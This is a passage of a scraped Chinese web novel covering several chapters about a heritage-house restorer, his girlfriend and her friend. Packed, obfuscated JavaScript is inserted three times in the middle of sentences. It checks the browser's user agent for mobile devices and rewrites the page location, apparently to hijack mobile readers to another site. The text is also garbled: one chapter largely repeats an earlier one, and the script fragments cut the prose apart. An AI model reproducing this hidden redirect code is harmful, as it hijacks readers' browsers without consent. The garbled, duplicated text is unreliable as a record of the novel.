客厅中央的吊灯垂下琉璃灯管,光线透过磨砂玻璃漫出来,在柔白地毯,投下重叠的光圈。 男人走后,女人丢了所有底气。 自觉过来捏肩捶背,不敢发出一点声。 可捏着捏着,顾南乔的脸上挂满了眼泪,一声不吭。 杨灵瞬间慌神。 心中第一次产生懊悔,这种没意义的情绪。 待在旁边,不断用手帮忙擦拭眼泪。 看着她,指尖划过从小到大不断见证的眉眼,意识到错误多么不该。 然后自己也哭了。 “亏我之前还担心,你现在真是女人味十足啊。” “乔乔对不起。” 哭着,讨好把蟹壳黄放她面前。 不知何时植入的观念,杨灵如此希望她能吃一口,似乎这便是‘接受道歉’的信号。 “挺好的,三百六十个拿捏技巧没白看,全用我身上了。” 能说话,就是好的。 证明接下来消气消得快。 顿时精神一振,又过去帮忙捏肩。 月色渐浓。 接下来怎么逗,她都不说话。 杨灵的心又沉了沉—— 以前只要自己一哭,就会被原谅;只要一认错再象征性讨好,就会被原谅。 现在,手开始酸疼。 尽管道歉意志再强烈,两分钟,不,一分钟内胳膊也会‘死掉’。 得想办法! 很多人不好意思做的事情,她向来不在乎,只关注目的能不能达成。 可高中以后,两人便没冷过脸。 怎么办? 想向人求助,也没机会。 陆砚走了,此时没有任何人可以帮忙。 假如他在场的话...... 杨灵想起了‘破吉他’喝酒那天,是怎么转移顾南乔注意力的了。 自爆...... 她收手,揉了揉自己的胳膊。 对方依然没被牵动一个眼神。 别过脑袋,肩膀缩成一团,整个身体陷在沙发里。 这边吸了口气,暗下决心。 慢慢挪到面前。 “...” 眼神相对,第一时间,决心就碎了。 想跑。 可此刻身体控制权归理性所有,于是,她怂、且做着胆大的事—— 小手一左一右捏她的脸颊,既不敢用力,也不敢看她的眼睛: “小妞不要不开心啦~” 说完,轻轻扯了扯,让顾南乔的脑袋微微摇晃,似乎这样就会开心。 一言以蔽之,伤害不大,侮辱极强。 短暂震惊过后,顾姓女子一点就炸: “道歉侬还要动手啊?做错事体是这种态度啊?啥人教侬个臭毛病!今朝勿帮侬扳过来,我就勿姓顾!(给你小子点颜色看看)” 把杨灵按地上捏脸,下面那调皮小孩一直告饶。 ...... 第一个,不对,累计来看,算第二天了。 第二个睡老洋房的晚上,陆砚失眠了。 房间里,旧樟木箱的味道不好闻,且没有身段姣好的女朋友在旁边。 还是大平层好。 明天吃 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这意味着两人友谊在岁月波涛中的胜利,他由衷为之高兴—— 表明完**正确的态度后,同时他觉得...... 有人帮忙收拾她,还不必‘脏’了自己的手,实在太棒了。 “叮——” 福至心灵,是她的私聊消息。 @Adeline:(语音)乔乔欺负我。 这波我站顾南乔! 调皮孩子就该被狠狠教训! 墨斗先生:算了算了,都不容易,过去就让它过去吧。 @Adeline:(语音)那我可以欺负你吗? 家人们,遇到下头美女了,真是无语子! 没找你算账就不错了,蹬鼻子上脸了?! 墨斗先生:保证书,一份怕是不够。(微笑.jpg) @Adeline:(语音)你自己拍好了发群里,字数不准比我少。 关系不好的时候,只要严于律己,偶尔讨巧即可达标。 但是关系不好。 关系好的时候,动不动遭受无妄之灾,还要反过来道歉...... 男人有时候真的很无助。 第一百零五章 离开 陆砚寄玫瑰的时候,思考要不要写点‘戒骄戒躁’之类的话,想想还算了。 一来太煞风景,二来言多必失。 真不开心了,还不是自己去哄?人家有自觉的,干嘛说些多余呢。 “小伙子,明天见呀!” “再会!” 回到老洋房,八点四十七分,出去一趟,依然荣膺‘上班打卡第一人’的头衔。 顿时整个人都不好了。 那孩子天天嚷着‘陆师傅又迟到了’、‘当老板就是爽,想几点来几点来’。 会不会......她自己也是卡着点来的啊! 陆砚无不歹毒地想: 也许,苏棠就比他早到三十秒? 也许,她经常迟到,只是比自己早那么一点点而幸免于难? 多想无益,时间是最好的检验标准。 八点五十,小赵到了。 打完招呼,接着守门口。 八点五十五,张野,乃至冯小军都陆续到场。 陆师傅轻轻一笑,继续守。 八点五十八,还有二十度偏角、秒针便归零的时候,背带裤小姑娘哼着歌出现在前院铁艺栏杆后面。 “哦哟(‘哟’字重鼻音节),酥糖小姑娘今天来得准时捏!” 她的面部表情给上戏一众同学展示了‘花容失色’四个字。 瞪眼,捂嘴,站定——不敢相信! 仿佛眼前人‘前一秒说要去外地出差,结果半夜突然返回’,让人茫然之后,生起恐慌。 “我......给你买早餐去了,又没迟到,说那大声干嘛!” 起先还有点心虚,看完时间后便越说越自信。 “行啊,一个多月的职场也不算没长进,早餐呢?” “路上太饿,吃了。” “...” 买遮阳帽让他们戴上的时候,趾高气昂的说,不想被别人误会在非洲部落实习。 行啊,买早餐,自己吃了,还冠他的名。 非洲部落实习生都不敢这么狂吧! “小屁孩,懒得喷。今天被我逮到了,以后看你还杵不杵门口阴阳怪气。” “陆师傅。” 陆砚回头。 小姑娘慢慢踱上台阶,伸出手,一颗亮晶纸糖果赫然在内: “先拿着,不够以后再说。” 说罢拍拍肩膀,一副‘该如何给孩子凑学费’的苦闷表情。 呵,呵。 好笑是好笑,就是肚子有点胀气。 屋内随着她的到来热闹起来,闹腾间的笑容比清晨花儿上的露珠还耀眼。 仅仅这一瞬间,陆砚就不会怪罪苏棠的捉弄,甚至请客加鸡腿。 嘶—— 差点走火入魔了,危险的想法不可取的! ...... 顾南乔拒绝了‘杨师傅’的上下班接送服务,照常踩点到律师大厦。 十六层电梯刚打开,张羌热情凑过来,说可以帮忙出谋划策,约午饭一块喝咖啡。 她答应了。 走进办公区,被格子围住的空间探出一个个脑袋,瞬间就铺满了社交辞令的氛围。 随口应付同事,到最中心的位置坐下。 查看工作邮箱内容——大片空白。 多么荒诞的割裂感。 别人的‘今日待办’清单每天推送着各种**传票、紧急咨询、证据材料。 她没有。 尽管学历不差、能力不差,奋斗过、抗争过—— 别人有的,她没有。 甚至工作一年了,还有‘指导律师’教着做事。 就像小学开学典礼,含着奶嘴去主讲台,做优秀学生发言。 简直是奇耻大辱。 可生活就是如此,不能既要又要。 她多次让顾明远不要多管闲事,不需要四处打点关系、出卖人情...... 邮箱只有一封信件。 想来好笑,若是没有打点,此刻也就没有指导律师,邮箱会不会空空如也? 点开,一句话,简短的文字: 黄埔厂拆迁案先放一放。 她的眼睛眯了眯,学着身边同事那样,微笑。 忙了那么久,放一放? 就连去和建材王老板打官司的前天晚上,都在准备的案子; 从业以来最大金额的案子,在她家欠债的关键节点,放一放? 几乎就想起身去找王显宗问问,你上次信誓旦旦说‘没问题’,究竟哪没问题了? 呼—— 微笑。 曾经怎么闹都陪在身边的人,没有消息,他的‘临别’短信又透露着无须声张; 工作中,所里合伙人和指导律师意见冲突,她信任被顾明远打点的后者,却暗戳戳地想做大案子。 该怎么办呢? 大厦将倾之际,曾经的顺风顺水,全化为山雨欲来的乌云,盖在头顶。 谁能帮忙,谁又是谁的救世主? 坐在贴合腰椎曲线的人体工学椅上良久,不知道此刻该找谁说话。 饶是熟读法律的律师,也会茫然。 ...... 老周请假了。 不管什么原因,请假已经单方面通知了陆砚。 说,这段时间得歇会。 没说多久。 结合年纪,甚至有一定角度,可以理解为‘不干了’。 电话挂断的第一时间,他没有肤浅到优先发泄心中的愤怒,亦没有虚伪到提点东西专程过去拜访—— 两天后,台风。 屋顶瓦作怎么办? 大李不在,唯有经验丰富的老周上。 老周也不在,团队哪里紧急找人去? 蹲在门前台阶,屋内传来小姑娘欢声笑语。 陆砚给小区老刘打了电话——结果是失望的。 不知道对方是不懂,还是找借口,总之这事算落到他头上了。 站在一楼向上望,老洋房的屋顶像座微缩的黛色山峦。 青灰色的瓦片层层叠叠,沿木构架的弧度铺展开,边上长了层薄薄的青苔,绿得发暗。 细看,瓦片间的咬合处卡着菱形瓦当,几块松动的瓦片在风里轻轻晃,露出底下暗褐色的望板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969231|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦作...... 木作师傅不是不会,而是不精。 他作为项目负责人更是哪哪都懂一点。 但所谓术业有专攻,跨领域工作须得慎之又慎。 男人思考再三,决定先花几个小时查查资料,必要的话...... 未尝不可豁出面子,请教老周、大李。 甚至说,用人情,让大李放下手中活赶回来救场。 反正苏州那边的民宿,这几天就完事了。 ...... 林晚声来颜朵家做客已经不稀奇,这次陈禹也在,便是稀奇事。 三人围在茶几边,茶水、点心伺候,俨然待客模样。 陈禹先开口: “听说,你要去北京?签约了?” 小姐妹聚会他向来不参与,但这次是推了工作专门来瞧瞧的。 “颜颜你又多嘴了。” “我老公我怎么瞒呀!” “什么情况?刚回来又走,去多久?” 他的问题总是务实。 倒不如说,在逐渐抛弃幻想。 因此,痛苦少了,眼神清晰了。 “不知道呀,兴许过年都不会回来了。” 林晚声轻松地说着不亚于诀别的话,听得陈禹一‘咯噔’。 他隐约察觉了些可能。 当看到颜朵的眼睛时,终于了然。 不经意拿起茶杯,动作那样慢,慢到可以把问题想它个三四遍。 嘬了口,清香苦味,茶叶放多了。 “颜颜,这个茶呀,不是这——” “我不关心。” “...” 拿起手机,拨通电话。 信号越过长长的黄浦江,落到长宁路老洋房屋顶。 勾着腰的陆师傅放下铜锤和铅丝: “怎么了?朋友。” “林晚声签约北京的公司了,”对面停了停,补了句,“不知道要走多久。” 他一愣。 又是个指代不详的描述。 老周的‘歇会’和林晚声的‘不知道走多久’,两者会是一个隐喻吗? 不知道。 “她跟你说的?现在人在旁边还是怎么回事?” “...” 陈禹久久没作声,陆砚懂了,轻咳一声。 于是那头声音又起,“颜朵跟我说的呗,晚声走前有个演出,你看最近有没有空,咱们聚聚。” “......台风结束,我都行的。” 挂断电话,陆砚直了直腰。 杨老头说‘加固不难,可以做’,于是上来开工。 蹲在屋顶,用铜锤将铅丝卡进瓦片凹槽,将铅丝末端拧成‘8’字形结。 抗风固瓦、防漏密封、结构承重,是屋顶加固的核心。 尤其是檐口,是台风正面冲击的位置(风力会沿檐口向上翻卷),瓦当和滴水瓦一旦脱落,不仅漏雨,还可能坠落伤人,加固需多重锁定。 劳作大半天,手生的原因,只做了一半。 该结束了。 粉色座驾正缓慢开进,可千万不能让杨灵看到他在上面。 第一百零六章 很重要的事 由简入奢易,由奢入简难。 阔别一天的大平层,此刻在陆砚眼里哪哪都发光。 甚至每一个发光点,都可以量化成实际加分项,让本就富有魅力的房主优点放大、让魅力尚缺的房主弱化缺点。 原来这就是拜物教的魔法吗? 真是让人难以抵抗。 “陆砚待会你要记得给乔乔道歉。” 厨房内,杨灵洗菜,压低声音说。 “昨天道过歉了。” “但是她还在有点生气。” “?” 生谁的气?谁是主犯难道杨博士研究不出来吗? 陆砚的眼神杨博士秒懂,却完全不同意其观点: “我错了就是你错了,晓得吧?男朋友。” 战犯毫无自觉,立了功似地眨眼,不过话语中命运共同体的意味甚是抚慰人心。 当然乐意啊。 全天下相爱的情侣中,谁家女朋友这样讲了,男人会拒绝呢? “晓得啦,调料备好了就快出去,有烟。” “真的晓得了,啊?” 走的时候还在回头确认,不知道是不放心锅里的菜、还是做菜的人。 总之,就当‘人群中非要看他一眼’,都怪那该死的魅力! 算了算了,既然藏不住,那就摊牌吧。 今天就让她们知道,为什么大伙都叫他‘陆师傅’! 肉沫现切,冬瓜去皮切薄,加杨氏调料,烧开后转小火,是为固本?9?9护体功——冬瓜丸子汤; 鲈鱼买处理好的,腌制十分钟,铺姜丝,水开后上锅再蒸十分钟,淋上杨氏调料,是为至鲜?9?9核心心法——清蒸鲈鱼; 猪小排冷水下锅,焯水后放油糖炒,放杨氏调料、大火收汁,是为夺味?9?9破阵式——咸甜口红烧排骨。 三人三菜如期而至,‘吃喝武林’相约七点半正式举行。 收到眼神,灶房掌门陆某率先讲话:“天下风云出我辈,一入厨房食客催。顾先生,尝尝?” 打杂小生兼灶房亲传弟子附议:“乔乔,上班辛苦了,一会帮你按摩。” 虽没有剧本,却无时不刻都在谱写剧情,这便是生活。 同时它也是最好的戏剧化编剧,掌勺,呸......掌门先生一下就不乐意了—— 谈恋爱至今,怎么不见给我按摩? 分赃不均,我要退出! “陆师傅,杨师傅,你们才辛苦。” 顾南乔客气回道。 主客夸起主陪和主人,在面子薄的中式待客流程中,自当要经历一番推扯。 尤以杨灵最积极,好听的话不要钱似的往外给: “乔乔咱们多吃点,一会去你上次说的音乐节好不好?正好陆砚可以帮我们把人挤开、拿东西。” 算不上慷他人之慨。 陆砚欣然同意。 实则私下的时候,定要让她以另一种方式通通补回来。 顾南乔说:“音乐节不是天天都有,怎么办?” “那就livehouse,反正我们慢慢找嘛。” “谁说女生不主动?那是没见过我家女朋友。” 实在忍俊不禁,得先吐槽一句而后快。 “陆砚!” 她瞪过来,眼睛很干净,干净到不容沙子队友。 然而受于先天容貌拖累,一点杀伤力都没有。 “陆砚在此!”他说,“顾先生我有个提议不知当讲不当讲。” “说。” “一会我们俩找个地方玩去,让杨灵灵老实在家洗碗拖地,没事就看看动物世界~” 顾南乔笑了,特地看过来,深深一眼。 那眼神给一众上戏学子展示了何为‘妩媚勾人’。 而杨灵是读完硕士正在读博士的人,比本科生更有理解力一点。 “陆砚你现在不准说话!” 她不仅懂眼神,还懂柿子挑软的捏。 而被拿捏的人,眼前仿佛亮起一块屏幕,屏幕上写着—— 可用消息(5/5) 呵呵,三十分钟以后,他还是条好汉! ...... 然而压根不需要三十分钟。 顾南乔饭吃到一半,接了个电话就要出门。 说去聊工作。 留下二人面面相觑—— 从前,不论多忙,她都不会加班。 就是如此一个‘公私分明’的人。 现在突然加班,究竟是因为工作急迫,还是因为...... 眼前人不重要呢? 杨灵眼神暗了暗,看向桌上,没有动过、此刻正逐一跑进男人嘴里的点心。 轻轻呼喊名字。 待陆砚过来后,抱着他。 像抱着海上孤舟,一颗心反复煎熬。 “没事的,忙工作很正常。” “......她之前从来不这样。” 像抱怨渣男似的口吻,幽怨得哟! “那就是她的不对了。你看我,一直就经常忙工作,所以等会我走的时候不准生气啊。” “陆砚!” 怀里挨了一拳,打消了陆师傅的娱乐精神。 大概今天是他拆台最多的一回: 该配合时,倒戈;该正经时,开玩笑;该安慰......补刀。 快乐是有的,嘿嘿。 “灵灵这就是你不够敬业了。” 他准备聊聊工作的正义性,抬起她的下巴,忽悠道: “文保局的小姐姐,古籍有讲,‘之前’通‘值钱’。好东西是不是越老越值钱?” 仰着下巴,她老老实实回答: “是。” “那值钱的东西要不要修?” “要。” “修要不要时间?要不要努力?” 水落石出。 质朴的道理谁人都晓得,可知易行难。 杨灵姿态是放低了,但才尝试几次?才多久? 她们从小到大的交情陆砚不了解。 但老周修一块雀替,就算是一个不起眼的边角料,也得一星期吧? 要是不小心用锉刀刮深了,一个星期时间都打不住。 “灵灵,吸取教训,然后努力去修,晓得吧?” “晓得。” “晓得什么啦?” “信任很重要。” 她说她再也不乱猜疑了。 ...... 晚上,老洋房。 张野和冯小军搬进来了。 三个女人一台戏,三个男人就花样多了。 年轻的时候三个男人一场球; 年龄大点,不说一场徒步、一场牌,随时随地一场酒,是再简单不过的。 张野是个妙人。 来的时候和冯小军一人抱一个箱子,原以为是衣服,没想到是勇闯天涯。 但陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969232|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚是有原则的: 不管是不是工作时间,只要心心念念的是工作,就绝不饮酒。 是以,那对师徒对擂,他在旁边助兴: “岁月酿的酒,碰杯见老友,这口得咽进心里头。” ‘咣当’声响撞开乏闷的夜,两人一碰即大半瓶。 见冯小军近期沉闷,张师傅0帧起手,徐徐讲述自己的故事: “我是云南的,云南怒江的。” “......噗!” “小军别笑,你张哥真情流露呢。” 怒江小伙状态不减,接着说: “家里五口人,我,爸妈,和我爸妈的爸妈。小学教我的班主任,教过我爸妈。班主任的班主任,教过我爸妈的爸妈。” 他不会比喻句,说小学没学到那里,就开始逃课了。 他说大山里没变化,一间房子明明住着三代人,却像一代人...... 喝酒的人,喝酒是正事;不喝酒的人,控场是正事。 控什么场,怎么控场,是需要经验判断和方**的。 九点四十,陆砚觉得,这个点还得喝,太早,睡不着觉: “酒过三巡话渐稠,当年往事上心头,再满一杯解千愁。” 张野觉得这句不错,用行动实践话中真谛。 冯小军陪。 张野继续讲,他则去转了转,例行检查各部位状况。 尤其是后院的彩绘雀替。 老周忙活快俩星期,胶水没干,现在填充进去的木屑受不得‘风吹草动’。 还有驱虫的事,老房子里的物件,比女生更怕虫子! 打灯往上爬,顺带测试加固的手脚架牢不牢固。 这时,一条普通消息提示音响起。 (古建再生事务所) 苏棠:陆师傅,什么情况?吃工作餐不喊我? 陆砚:天天踩点上班的小姑娘,工作这么上心呀。你张哥买了点卤菜,想敬酒就来老洋房。 笑了笑,小小酥糖他还不了解嘛? 你强她弱,你打她退。 增强一个档,充其量算个‘窝里横’的量。 接着转悠。 红颜料标识的构件着重检查、门窗卡扣反复触碰排查,例行测木构件含水率,没下雨的时候逢五抽一。 回访一下之前修的楼梯侧柱,张罗一会房梁的延迟退休状况,花了四十分钟左右,下来,张野正说到17岁的时候。 “张哥,少年英豪啊,换个年代来上海滩闯——” “陆师傅,给我敬酒!” 苏棠来了。 居然没穿背带裤,小姑娘穿小裙子露小腿,有点小好看。 就是小了点。 不过倒是把张野师徒乐坏了。 赶紧起身让出c位。 待四人坐罢,云南怒江的朋友先给小姑娘拿酒......被拒绝以后也不恼,接着说大山里的岁月。 故事醉人,用酒当借口。 控场的人听得都有点按捺不住,痛饮一口矿泉水,高呼: “酒杯一端,旧事回甘,抿一口都是当年的坎,再喝一口是如今的暖。” 四人举杯,两白两黄,碰! ...... 苏棠骂骂咧咧走了,直呼白的没味,像水。 看了看时间,十一点出头。 控场的人觉得,这个点还得喝,喝了好睡觉。 第一百零七章 顾律师的晚饭 走出枫糖花店的时候,陆砚有两个想法: 一是,张野师徒会不会现在还没醒; 二是,这俩**人果真投缘,睡觉鼾声竟然可以卡准间奏,此起彼伏完全没垃圾时间! 正往前走着,突然感觉背后被推了一把。 “嘿!” 是苏棠。 两人上次见面是睡前,没想到睡后又遇见,真是恶鬼缠身呢。 陆砚看了看时间,八点五十。 哦,是快要迟到的苏棠。 “你个小姑——” “江湖规矩,逮住老板了就要请吃早餐!” “...” 是说后面推一把,半点力气都没有呢。 原来没吃饭啊! “可以啊。” 陆砚答应之迅速直接把未满二十二的小姑娘看呆了。 “尊嘟假嘟?不是吧不是吧,偶遇真家人了!” 她兴奋嚷嚷着,从兜里掏了一把,递给他。 两颗糖。 包着亮晶纸,比昨天多了一颗捏! “为什么是这个,不是酥糖?” “不准开我玩笑!谐音梗扣钱!” “说吧,吃什么,两百块以内都可以。” 语气平淡、自然,仿佛请客掏钱的不是本人一样。 小姑娘再次被男人震惊。 若不是他讲话口音不重,都想直呼‘沪爷大方’了。 “真的吗?吃不完能不能留着下次......” “随意。” “哇!!” 人高兴的时候,真的会蹦起来...... 见着一副感动模样,陆砚都不忍心继续立人设。 两颗糖揣兜里,准备明天放花里一起寄。 “小姑娘,早餐答应了我肯定请。但是一码归一码,迟到就要罚款,扣你两百块抵账吧!” “...” “怎么样?吃不吃?” “你等着,我现在就告状去。” 她一脸恨不得上八角笼与之决战的神色、又一副‘找个机会躲后面拍你一板砖’的口吻: “你加了一圈女人的视频我还没发呢!” “...” 玩不过就告状? 好笑,真是好笑的早晨。 “咳咳,但是话又说回来了。规矩毕竟是死的,还是长身体比较重要.....” ...... 八点半,汇聚着建筑产权、开发建设相关律师的先科律师大厦十六层,罕见褪去严肃,三头两头凑着八卦。 等顾南乔九点抵达公司后,平时聊不上天的同事依次过来问候。 ......原来家里的情况已经到人尽皆知的地步了。 坐在办公区正中央,人群最显目、也是他们最羡慕的位置,倒没有等来电视剧里面,旁人跳脸嘲讽的戏码。 可更让人受不了的,是曾经一打眼便畏畏缩缩不自信的男同事,此刻居然献起了殷勤。 “顾律师,早餐吃了吗?我这份专门等着有缘人。” 同事大概姓张还是姓李,头发油亮,目光炯炯。 看着眼前三十五岁左右,大腹便便的男人,‘教养’却要求她得笑脸寒暄。 那便笑脸寒暄。 于是今天上午比平时看起来忙些,忙着打招呼。 什么意味她清楚,甚至有一个后妈,就是这么来的。 ‘精英男’无非是想睡她。 但精英男还谈不上家底厚实,还是睡完绝不负责、绝对不可能结婚的那种。 呵,甚至都不会为了她离婚。 看了邮件,每一封都看过去,没有工作相关。 看了手机,顾明远没消息。 他年轻的时候估计也是精英男,玩消失很有一套! 强行忍着烦躁让自己坐直了——微笑。 也是此刻才发现,原来人的脾气是可以控制的。 曾以为自己易怒,现在也挺温和;以为自己处事大方,结果也开始没营养的说套话了。 她不是傻子。 王显宗在逗她玩,甚至有意应付、引导。 连同事都知道的消息,合伙人级别的肯定清楚了,兴许正磨刀霍霍着呢。 既然如此,再也带不来业务,肥肉凭什么轮得到无权无势的‘草包’呢? 一直以来,都挂着奶嘴的顾南乔,在别人眼里可不就是草包吗...... “顾律师,案件忙不忙?闭门造车是很难的,中午一起喝咖啡呗?” “不了,谢谢。” “哎呀,大家都是同......” “不了。” 又送走一位。 以前没胆子,现在全看似友好的跳出来。 还不是觉得自己够格了。 原来比出言讽刺更让人觉得讽刺的,是暧昧邀请啊! 她准备去办公室打个招呼,办理休假。 再呆下去也是徒劳。 同时,考虑换地方住的事。 至于会不会让杨灵伤心,倒是次要的。 已经无心顾忌其他。 “顾律师。” 是张羌。 最近约了好几次,说聊案件。 确实聊了一些看似有帮助的思路,实则执行起来半点用都没有。 顾南乔也想过,消息是不是他放出来的。 但是为什么前几天不放? 遂暂不怀疑。 “张律师,怎么了?” “今天大家都在讨论......不是我传的。” 他的八字眉紧张皱着,脸上有自证时的焦急。 “无所谓,我不在意。” “顾律师......你的情况我比较了解......” “你想说什么?” “吃饭的时候聊聊,好吗?对你肯定有帮助。” ...... 台风来临前的闷热午后,老洋房后院围墙上的紫藤叶耷拉着。 没了‘老’师傅的老师傅队伍,在檐下铺展防水油布,影子被阳光拉长在爬满苔藓的墙面上,远处天边已泛起铅灰色云团。 今天是台风前天。 陆砚把屋顶彻彻底底搞了一遍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971292|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>因为是第一回,有点心虚,乃至于后面的时间,翻来覆去、像耕牛犁地,来来**搞了好几遍。 多次检查抗风固瓦是否严格,防漏封闭有没有严密,结构承重够不够严实。 边搞边打电话问要点,问技巧,只求屋顶和他,双方都能满意。 下面,苏棠选购的应急设备纷纷到位。 反复叮嘱下,甚至抽水泵都拖了两台,以防庭院积水。 张野他们给外部木构件铺了层加厚防雨布,完工,正在收手脚架。 “陆哥,屋顶搞了一天半,还没搞好?” 仰着头,他的声音连后院的小赵都听得见。 而小赵做彩绘保护,工作量不小,此时也接近尾声。 “做的就是一个谨慎,匠心,懂不懂?” 张野小学就旷课,他不懂—— 学生时期写卷子的时候,高分段选手答完题总有种预感——这次稳了。 但‘稳了’的同时,又忍不住再翻翻看,看能不能从边边角角里抠出一两分来。 他们缺的不是一两分,而是加上一两分后的安心。 夕阳西下,陆砚还在鳞次栉比的屋顶找心安。 ...... 杨灵下班后没去老洋房,提前跟陆砚打过招呼,说接顾南乔去了。 律师大厦门前停车场,手机收到回复的一瞬间,她竟有种刚谈恋爱时的激动。 我系统呢:在电梯,马上出来。 来不及回消息,提包下车去公司门口最显眼的地方等。 今天没化妆,工作套装,及膝铅笔裙下裹着肤色丝袜。 色调沉稳的着装彰示着公务人员的角色,清雅秀丽的脸又冲淡了身份的严肃性。 是以,惹人注目。 顾南乔亦如此,西装外套和娇艳的形象对撞,仪态大方,向外走来。 “乔乔。” 迎上去挽着胳膊。 顿时,律师大厦门口不输大型秀场,虽没有聚光灯,焦点也不会分散。 “近三十天头一回哦,杨灵女士。” 她神色揶揄打趣道。 就像杨灵从林晚声口中得知,自己是‘陆砚一见钟情的类型’那样,信心满满又忍不住炫耀,最后糅合矜持,以调侃的方式呈现—— 是在说自己见色忘友。 “我反省,以后——” “好啦,我准备休假一个月。” “......好。” 外面人多,杨灵准备回去吃饭的时候再问原因。 可下一秒计划就落空了。 “我在外面吃,要不要一起?” “要。” “不准带陆砚哦。” 顾南乔回头撇了撇。 顺着目光看去,有个八字眉、身姿高挺的男人在后面。 杨灵表示不解。 “张律师。今天准备聊我家里的案子......” 讲到这里便明悟了。 晚饭确实比较适合人少一点。 她当即表示同意,然后给陆砚发消息报备。 第一百零八章 风急雨怒 由简入奢易,由奢入简难。 阔别一天的大平层,此刻在陆砚眼里哪哪都发光。 甚至每一个发光点,都可以量化成实际加分项,让本就富有魅力的房主优点放大、让魅力尚缺的房主弱化缺点。 原来这就是拜物教的魔法吗? 真是让人难以抵抗。 “陆砚待会你要记得给乔乔道歉。” 厨房内,杨灵洗菜,压低声音说。 “昨天道过歉了。” “但是她还在有点生气。” “?” 生谁的气?谁是主犯难道杨博士研究不出来吗? 陆砚的眼神杨博士秒懂,却完全不同意其观点: “我错了就是你错了,晓得吧?男朋友。” 战犯毫无自觉,立了功似地眨眼,不过话语中命运共同体的意味甚是抚慰人心。 当然乐意啊。 全天下相爱的情侣中,谁家女朋友这样讲了,男人会拒绝呢? “晓得啦,调料备好了就快出去,有烟。” “真的晓得了,啊?” 走的时候还在回头确认,不知道是不放心锅里的菜、还是做菜的人。 总之,就当‘人群中非要看他一眼’,都怪那该死的魅力! 算了算了,既然藏不住,那就摊牌吧。 今天就让她们知道,为什么大伙都叫他‘陆师傅’! 肉沫现切,冬瓜去皮切薄,加杨氏调料,烧开后转小火,是为固本?护体功——冬瓜丸子汤; 鲈鱼买处理好的,腌制十分钟,铺姜丝,水开后上锅再蒸十分钟,淋上杨氏调料,是为至鲜?核心心法——清蒸鲈鱼; 猪小排冷水下锅,焯水后放油糖炒,放杨氏调料、大火收汁,是为夺味?破阵式——咸甜口红烧排骨。 三人三菜如期而至,‘吃喝武林’相约七点半正式举行。 收到眼神,灶房掌门陆某率先讲话:“天下风云出我辈,一入厨房食客催。顾先生,尝尝?” 打杂小生兼灶房亲传弟子附议:“乔乔,上班辛苦了,一会帮你按摩。” 虽没有剧本,却无时不刻都在谱写剧情,这便是生活。 同时它也是最好的戏剧化编剧,掌勺,呸......掌门先生一下就不乐意了—— 谈恋爱至今,怎么不见给我按摩? 分赃不均,我要退出! “陆师傅,杨师傅,你们才辛苦。” 顾南乔客气回道。 主客夸起主陪和主人,在面子薄的中式待客流程中,自当要经历一番推扯。 尤以杨灵最积极,好听的话不要钱似的往外给: “乔乔咱们多吃点,一会去你上次说的音乐节好不好?正好陆砚可以帮我们把人挤开、拿东西。” 算不上慷他人之慨。 陆砚欣然同意。 实则私下的时候,定要让她以另一种方式通通补回来。 顾南乔说:“音乐节不是天天都有,怎么办?” “那就livehouse,反正我们慢慢找嘛。” “谁说女生不主动?那是没见过我家女朋友。” 实在忍俊不禁,得先吐槽一句而后快。 “陆砚!” 她瞪过来,眼睛很干净,干净到不容沙子队友。 然而受于先天容貌拖累,一点杀伤力都没有。 “陆砚在此!”他说,“顾先生我有个提议不知当讲不当讲。” “说。” “一会我们俩找个地方玩去,让杨灵灵老实在家洗碗拖地,没事就看看动物世界~” 顾南乔笑了,特地看过来,深深一眼。 那眼神给一众上戏学子展示了何为‘妩媚勾人’。 而杨灵是读完硕士正在读博士的人,比本科生更有理解力一点。 “陆砚你现在不准说话!” 她不仅懂眼神,还懂柿子挑软的捏。 而被拿捏的人,眼前仿佛亮起一块屏幕,屏幕上写着—— 可用消息(5/5) 呵呵,三十分钟以后,他还是条好汉! ...... 然而压根不需要三十分钟。 顾南乔饭吃到一半,接了个电话就要出门。 说去聊工作。 留下二人面面相觑—— 从前,不论多忙,她都不会加班。 就是如此一个‘公私分明’的人。 现在突然加班,究竟是因为工作急迫,还是因为...... 眼前人不重要呢? 杨灵眼神暗了暗,看向桌上,没有动过、此刻正逐一跑进男人嘴里的点心。 轻轻呼喊名字。 待陆砚过来后,抱着他。 像抱着海上孤舟,一颗心反复煎熬。 “没事的,忙工作很正常。” “......她之前从来不这样。” 像抱怨渣男似的口吻,幽怨得哟! “那就是她的不对了。你看我,一直就经常忙工作,所以等会我走的时候不准生气啊。” “陆砚!” 怀里挨了一拳,打消了陆师傅的娱乐精神。 大概今天是他拆台最多的一回: 